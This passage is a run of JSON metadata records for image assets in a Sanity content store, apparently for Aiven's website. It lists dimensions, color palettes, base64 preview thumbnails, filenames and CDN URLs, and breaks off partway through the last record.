{"_createdAt":"2022-06-30T20:10:07Z","_id":"image-3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354-jpg","_rev":"sI1gFaRN7B5HWmjllABGxF","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:40Z","assetId":"3b9f8fc569312168deeb79b2280cc9b4552f7028","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLSiNyo}.mxHxtwIkCb^jGoLtljZVsWVWBw^kBg3jaj[xaj[R*aeWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1573116691285081,"height":1354,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAARABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAUCAQj/xAAjEAACAQMDBAMAAAAAAAAAAAAAAQIDETEEBRITITJBJHGC/8QAFQEBAQAAAAAAAAAAAAAAAAAAAAP/xAAZEQEBAQADAAAAAAAAAAAAAAAAAQIDESH/2gAMAwEAAhEDEQA/APTW7TlGlbm1G3dRy/ojKcOpCz1mV7dizucJVYrpr9L0T46Wvyj8iplduJPUt12vxbmZ7V6PigdjhAogxDxYWQANgAD/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d5e5f","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d1b06","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f45838","foreground":"#fff","population":4.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2bcbb","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc6c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888a8b","foreground":"#fff","population":0.19,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f45838","foreground":"#fff","population":4.73,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354.jpg","path":"images/sczeoy4w/production/3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354.jpg","sha1hash":"3b9f8fc569312168deeb79b2280cc9b4552f7028","size":235231,"uploadId":"D92ljdAZ0qo7xvsVQZMqJq5nd5Uf8XlB","url":"https://cdn.sanity.io/images/sczeoy4w/production/3b9f8fc569312168deeb79b2280cc9b4552f7028-1567x1354.jpg"} {"_createdAt":"2024-02-27T12:26:08Z","_id":"image-3ba37cad097a55af48c21206aee0dc884f5847a9-1553x792-jpg","_rev":"w5AXxS2dRCMjAjCd4XLy6k","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:26:08Z","assetId":"3ba37cad097a55af48c21206aee0dc884f5847a9","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7S$owV[Sgt7Vt~qM{R*WVR*oyR*WWW=R-","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9608585858585859,"height":792,"width":1553},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDCP/EAB0QAAICAgMBAAAAAAAAAAAAAAACARExMgMhcUH/xAAUAQEAAAAAAAAAAAAAAAAAAAAA/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A1Bx2qLnPweGp326JppPo8ZbwCytcXQCJrAAf/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#55527f","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6b2518","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a5d0d4","foreground":"#000","population":0.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5d0d4","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7ccc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c98a8","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d35740","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dragonfly-connect.jpg","path":"images/sczeoy4w/production/3ba37cad097a55af48c21206aee0dc884f5847a9-1553x792.jpg","sha1hash":"3ba37cad097a55af48c21206aee0dc884f5847a9","size":66339,"uploadId":"lK15u7MrZDWLBAYacQZQxm33Ha4E3UDZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/3ba37cad097a55af48c21206aee0dc884f5847a9-1553x792.jpg"} {"_createdAt":"2023-05-23T09:27:33Z","_id":"image-3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2-1567x844-jpg","_rev":"IpnbDuG6FYGmZQ2TBRCCLL","_type":"sanity.imageAsset","_updatedAt":"2023-05-23T09:27:33Z","assetId":"3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TN$i*XW9-nZ%_Nkpemj]d@e8eAf,gMfh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFBv/EACIQAAEDAwMFAAAAAAAAAAAAAAEAAgMEESESMUETIjNCUf/EABYBAQEBAAAAAAAAAAAAAAAAAAcCBP/EABwRAQABBAMAAAAAAAAAAAAAAAEAAwQRIRITMf/aAAwDAQACEQMRAD8AsU8lB02X0arZxyqdDLTsmBhYHXHyyzT/AF2WgpcQUxG5CNGo5xiK9xTA9dxqRjpnF8fa08ITEXjCFPAdswdiaJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#935605","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fac277","foreground":"#000","population":0.35,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b8945c","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":14.37,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"BYOC_announcement_blog.jpg","path":"images/sczeoy4w/production/3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2-1567x844.jpg","sha1hash":"3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2","size":379391,"uploadId":"9NH5bEBvjMHysPOj6PnhFq2crloLS6th","url":"https://cdn.sanity.io/images/sczeoy4w/production/3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2-1567x844.jpg"} {"_createdAt":"2024-07-12T13:09:22Z","_id":"image-3bc8f54e3cd967109065416bc63bc34c62c861b1-1200x630-jpg","_rev":"ZgPiUE9lJ1tcRKuFne3yoX","_type":"sanity.imageAsset","_updatedAt":"2024-07-12T13:09:22Z","assetId":"3bc8f54e3cd967109065416bc63bc34c62c861b1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M88|fIA6Oo}t9aOY-pxbI.n~0y^5,[AH-5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUEBgf/xAAhEAABBAICAgMAAAAAAAAAAAACAAEDBAUREjEhQQYkUf/EABcBAAMBAAAAAAAAAAAAAAAAAAMEBQb/xAAdEQACAgIDAQAAAAAAAAAAAAABEQACIZEDIiPR/9oADAMBAAIRAxEAPwDExs46SiEbVzCcW8mPt09wvxya9AMkRR8Xbe3LSq4v9UG8d/iZY27ZhAgimMR10zrU8Yua+ZR38iwNQe4Y1GGQpPTslCZDyHvi+2QohGUj8jJyJ/boVMNZgCnif//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2a60","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":10.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d6c","foreground":"#fff","population":10.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7f3c19","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e39972","foreground":"#000","population":7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4f5ea3","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5965cd","foreground":"#fff","population":7.27,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven_Platform_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/3bc8f54e3cd967109065416bc63bc34c62c861b1-1200x630.jpg","sha1hash":"3bc8f54e3cd967109065416bc63bc34c62c861b1","size":50739,"uploadId":"q4AWr6dmVJXfbPreJxQxB6Nj4vOLdwWH","url":"https://cdn.sanity.io/images/sczeoy4w/production/3bc8f54e3cd967109065416bc63bc34c62c861b1-1200x630.jpg"} {"_createdAt":"2023-09-11T08:18:37Z","_id":"image-3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f-833x150-svg","_rev":"Dk4vsGyYpr9Xi9g7qzpFEI","_type":"sanity.imageAsset","_updatedAt":"2023-09-11T08:18:37Z","assetId":"3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"42S$ln%M-;~qof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.553333333333334,"height":150,"width":833},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAuElEQVQYlU2PW67DIAxEs/9ldRtZQkMEBPALeyqobnU/RvIcWTP2ERGnm5Bzh5tGRGDJVTC/DD9mCheCT/vPwpUQPiuA12FmZ38q1fvC6C1sTqgqWi2o9xujPTCbMLM9P/kG04C7b/HoMWqGCdeIeB3MfJaS6U4JT60hImBmlJyR0oVSMhZbJaUUpOtCb+0X2HuLtctE30BVPZmFVoiIxLpkaXkiAhFvP+fcbIyxC/5eVtVY3Mx24Afz5za+1Sf2cwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#636363","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#683b1c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":1.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4c4","foreground":"#000","population":1.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1b79b","foreground":"#000","population":0.83,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7c44","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"aiven-hiring-process.svg","path":"images/sczeoy4w/production/3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f-833x150.svg","sha1hash":"3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f","size":43875,"uploadId":"rozxLLeYHbdr5mrx1YHzrjVkqhhRG9IK","url":"https://cdn.sanity.io/images/sczeoy4w/production/3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f-833x150.svg"} {"_createdAt":"2022-06-30T19:58:53Z","_id":"image-3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256-png","_rev":"CK1sLU2mnwa3vmbYWEc7zA","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:54Z","assetId":"3bdb20dd26e0a13526b8fc08be947ec5e836cbce","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"41S?7GQ8y@_,L#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.671875,"height":256,"width":1964},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAZklEQVQImU3MPQqEQAwFYO9/IE9gZ21pJ9jIwsKYmfy+3Qw4WDySF8g3feYVtJ9wUZgbaq0opYwQEVprEJEeZh57xlTgpgh3RASm77KBjwuh1sF8TuQm6nj2B8mZtzeqiQrDEv2DP/Z2m4STAIxdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#772141","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a72e5b","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f33378","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9c1cc","foreground":"#000","population":0.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc8cbc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a89094","foreground":"#000","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f33378","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256.png","path":"images/sczeoy4w/production/3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256.png","sha1hash":"3bdb20dd26e0a13526b8fc08be947ec5e836cbce","size":61055,"uploadId":"ClmnSauCipCvN2qr6fYPpPVbiVHG6x8r","url":"https://cdn.sanity.io/images/sczeoy4w/production/3bdb20dd26e0a13526b8fc08be947ec5e836cbce-1964x256.png"} {"_createdAt":"2023-06-21T10:58:11Z","_id":"image-3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844-png","_rev":"DEr13LRm8S6bXdr2YH93O2","_type":"sanity.imageAsset","_updatedAt":"2023-06-21T10:58:11Z","assetId":"3bf933cb9ae4c9ea255398acbc0c0aaac4adc831","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M44fOg~qt7IUM__N?cbIIUM{x]xtofjZoJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAABdUlEQVQokY3O7UvCQBzA8d3clr3Yxlj4ANHruJtTc+fU1EjoVRCUlSBFRu02ndt8CnoVkSY9Wf9y3EIoLAk+HPwOvr87JppxlbyvmoGaD1TsKdhTDE/JefKWG9XbLLIZSP6UqIzShw9mY1poTM3TqXE8ydXHRn2SOriPbw95zQZL4o3abbH5VDl/3bl427v6qF2+77ZmtdbMOHmMlYfc8jhZvckcjbPHE+P0sXz28qXUfN7cvxMNj11SQsKsZl2l0FdLfbU0iFdGieooWR3FK0Mp73MpZzEAc3SkM7IpSE82BBC9XCxZSDjKiiCLRRaN/wlAEoFEgIRHFqVZDICERYS+9ntjM8gByGHC33HzmAsxq9q1nHGkXHcl3WEhXfGTDVAHoDYIV7DI5pDNI8Jr4ctq2lo33WR5IGNf0B1ec7jvUm1ed3m9M+cKekfQ24LuCLrDqLgbK3hrxZ5iBpLhiQskw5exJ2NfwoGY70k4kLAv4kDEvU+WwpGbExOmDAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#592f43","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":74.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":74.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bddb","foreground":"#000","population":0.37,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7596","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b54b57","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"solving_issues_for_everyone_blog.png","path":"images/sczeoy4w/production/3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844.png","sha1hash":"3bf933cb9ae4c9ea255398acbc0c0aaac4adc831","size":71223,"uploadId":"IpmhWNC54kT0ErA2XZViYKbDRBoPg6vU","url":"https://cdn.sanity.io/images/sczeoy4w/production/3bf933cb9ae4c9ea255398acbc0c0aaac4adc831-1567x844.png"} {"_createdAt":"2023-10-26T13:18:04Z","_id":"image-3c0314c762b2045099a0ec9a020533552010f664-6000x3375-png","_rev":"8gUM21kCR6Z8GhVq7iFm4P","_type":"sanity.imageAsset","_updatedAt":"2023-10-26T13:18:04Z","assetId":"3c0314c762b2045099a0ec9a020533552010f664","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCAJH#0_$H$m9t-@Nr#kFOroRUt2ajoIWV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":3375,"width":6000},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAC4jAAAuIwF4pT92AAACrklEQVQokX3QR0+TAQDG8X4AARkthZbRTbppacsoHYz2rSiVvoxWNrSvkDCsUrHMyFBcGAyJMY6biQeJB0eCN/WkiUc+z9/UlXDQL/DL/3lkZUoRtSaF3jKNyT5Dg3MOsyuLxb2EtekGNs8aZvc6Ruc6Wtsm9pYDLo4cMzX/jdnRpxwOxXk51MZC9zSN7nvIFDVJzE6JltA1WsPXaQ4uE4hs0BHbJhy7hb9rF5t3E411BY11E0/oCZekL2RXT9hfesanTDtfRSOHwTg9rg1kyvphmtoW6enbpKfvJh2xDYT4DonkA+ID+0R77+Pv2sPt38XZuke78IKU9JnFlRP2cq94Mx7nOGLnmVdAclwtFKawumcJdi8TjOTx+HN4A3nCwhbByM7PwmD0DoHoPVo7HxAQniOOf0TKfie78IGtsVUepwZ52DeK5L+BrKSyH3lNCpVuDLVhkmrtFCqdRF3DHPUNV9CYl9Db8xgcaxidW7jaDxEGjkhNvUaaesTViRw3L0usZLL0Rm4jO1ORoEguUqzop0SZ5GzVCGWqCcrVaSpqZ1HULVCpyVKpXUJlyONs2uFcdJdzEYloe4R4uIP+mMB5YRxXy3YBFDkjFykqgJVDf8GKmgzyAlj/G9TlqDUsE3PNshoWWGyxcN6qR3DbiDZ78DX1YnKsISuWJyhViJRXDVKuukSZavRv4SlQm6POcJ0RV5K3XQbed1ax3mZlLNhMf8CH33PhF1im6EOrTtBgHEVvyVCtm6ZcPflPMNk4zFGHnXddFtZDIcRgN52tYdyuJAbH9i9Qo05gMo6gN6f/CxYmh2wzzHtF5n2DxL1pfN40Nlcak2MZnWMfWZE8QYlC5KxygNLqFKXVfyaf/lCpy6HS59GZ8ljMeSyWDUzWHfS22+jsd9HaD9DaD/kBaiSW2xqm+aMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456d","foreground":"#fff","population":1.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141d6c","foreground":"#fff","population":8.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3a2cb","foreground":"#000","population":0.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6975d3","foreground":"#fff","population":5.71,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5ca9","foreground":"#fff","population":0.3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef780f","foreground":"#fff","population":0.91,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"WIP Devrel Video thumbnail template (1290x1080 169).png","path":"images/sczeoy4w/production/3c0314c762b2045099a0ec9a020533552010f664-6000x3375.png","sha1hash":"3c0314c762b2045099a0ec9a020533552010f664","size":3750648,"uploadId":"wQXCJnvNR0RsEIIZoLtTviKY5xuBsDrB","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c0314c762b2045099a0ec9a020533552010f664-6000x3375.png"} {"_createdAt":"2022-06-14T14:41:14Z","_id":"image-3c1829a1ab4800af8be04c7d662ec1454f312c7f-762x762-png","_rev":"oamrAPLmQLQjd9jh7YpzWU","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:14Z","assetId":"3c1829a1ab4800af8be04c7d662ec1454f312c7f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eWLD}j%M_Nx]RP?bM{t8t7M{NItRIAadxux]R*s:jZR*xuj]M{aykC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":762,"width":762},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEG0lEQVQ4jU3RW1MaZxzH8X0d7aTTw0wnvUknbbTJyGTSKOO0agVcQECpCa3KpjYeKFo11lIxilYFYiyxGhTUJILUeIwKinLYffb47AkEk9fSwVN7s3ef//f3zCLHIswKXEbgMjyb4VkZMhJHSxwtMKTAkDwNeBpAioAUwZE4C9IMkaLSCZA8JBJxJCfxBX96onCFZwWaTMZjayuhV0vBN5trDJE6uwIp4hKTqSOQPEROMmJeFnISnxMLVyBFrEVCA47fzCajRl1t/6VjdWWZBWmeAedxIkXjSSqdoNIJ5G1WOvN5WZAhu7EatrW23Fbc+uTjj668/96NL64/bMEiyy8YkDqLc6dxhkjRRKqA32alfEY8yYg0nno6NlRfVVZ2/erNqx8Wf3ql5LMPvin5srezfW9743L85ePP8ckpxg9jM66+UUvVkP52f43CoVX0q4utpdcwk/rlwhykgMCQkAYcRbAkzoA08u5YPo/LAp2MR4OT0ZHWNz3G9S7DZrcp9HPVsPZWh6kq+HyapQiBoyBDQgawFMGQOPIuW8AnWSknCxAkqa0QOT96MITtD/y4P9gcsaEjekWXuXrJf4FZkmMASwOGIi5mZ8WczHPpo+hyIDTeP2Mzz7cb5jrqxu5X2L+72f29OhKcgTQQIF3ALMkygKEJ5OS4kM1nCn+LTcUjs5MTdqzLUNFZc9eOllorFD8oiwaaavfCQYElC5ij/sP5rJTPiscSnxUhJJLRV/6go91lUTsMyt/1pb3o17bqEneHJbG5IvGMABn+bPmpR3JZ8VgWMgIncTQk0/hmeGWk292EuhoqH5vKnbV3+41lzwY68fiuJLACpHlIXcaRY1nIilCGDE8DDqQTW6vPnb/2mVWPjJV2TalVeeNB9R3PYF8iHhV5VuAZHtLnsxmAZCT+IkvQeHJ/e9037HA01g9Z9F1ouU7xec2dIntL07x/JhbbpUic4/5XlkUo86zAkFQ6mTiIrkfCnmFnb5O5s7bSUl5SU3LNrPzKakJt7W0u19BCcH5nZxNPHzE0UcAZgRM5mkwldrc3V0LL/tnZPwcHnG2NncYKi7Lo4bfFjwzKB/XaOpOprr4ewzCHo3962rf2OhI/2EMknuUoYm97ayEQePaXb9I7OeXxLD0dCzptnpZaX6thvO2e9Z5Zp6tVqdQqlVqn01kslp6ebq/XjQgcBVKJf8Jh35TPM+Hxup/4Z/3RjfXkRmR38e/X/inv8GBzY6Neb9BoUJVKo1Kpq6tVBoMBw6wIpEHy8ODF4uLEuHvENepxewNzwfjBIQ0oIpne29l94plsbsbq6sxarV6jQVFUd/rVGo0mhCPxo4NYYG7u8eDQwB9O94QnMF/AFKABTkZ3Y+4JD4b91NBw/wzrdLVarR5FdVqt/l9xrv4dZu2KqwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4847","foreground":"#fff","population":12.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f523d","foreground":"#fff","population":4.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d4847","foreground":"#fff","population":12.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5bfb1","foreground":"#000","population":0.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f2d3c8","foreground":"#000","population":0.58,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ba846c","foreground":"#fff","population":2.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a86e4f","foreground":"#fff","population":4.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"dewan.png","path":"images/sczeoy4w/production/3c1829a1ab4800af8be04c7d662ec1454f312c7f-762x762.png","sha1hash":"3c1829a1ab4800af8be04c7d662ec1454f312c7f","size":441544,"uploadId":"1ThYvBcsF6fwFV1rRAcT5lLmF3rXPhhK","url":"https://cdn.sanity.io/images/sczeoy4w/production/3c1829a1ab4800af8be04c7d662ec1454f312c7f-762x762.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-3c2493b7a5bcab6d1fea6e306015cf81e935e6d4-700x167-png","_rev":"CK1sLU2mnwa3vmbYWEbGcV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:14Z","assetId":"3c2493b7a5bcab6d1fea6e306015cf81e935e6d4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D04n}U-;Rj%MM|aeM{jtt7WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.191616766467066,"height":167,"width":700},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqElEQVQYlS1PCW4DQQzaj2RsMD52kv7/e+1sKiELCYPx1ZkZpJvI977fe4uEma0F85RSelR89v75vEuCGdbyta6vOdwETzEVQRDuZnRMT1fRjWZBKkgAbjD7N5ckQHwQZyPFIALo6qkSQPMT4X6AA7hdKU3VVE7mQw7v0xV0z9Duuasz4pur576CAVxwn+49fR/M3XN3fx9br9dRq6bn9HWDm9v//Kv9C4sfKTPh+4o7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c443c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140c04","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#838282","foreground":"#fff","population":1.84,"title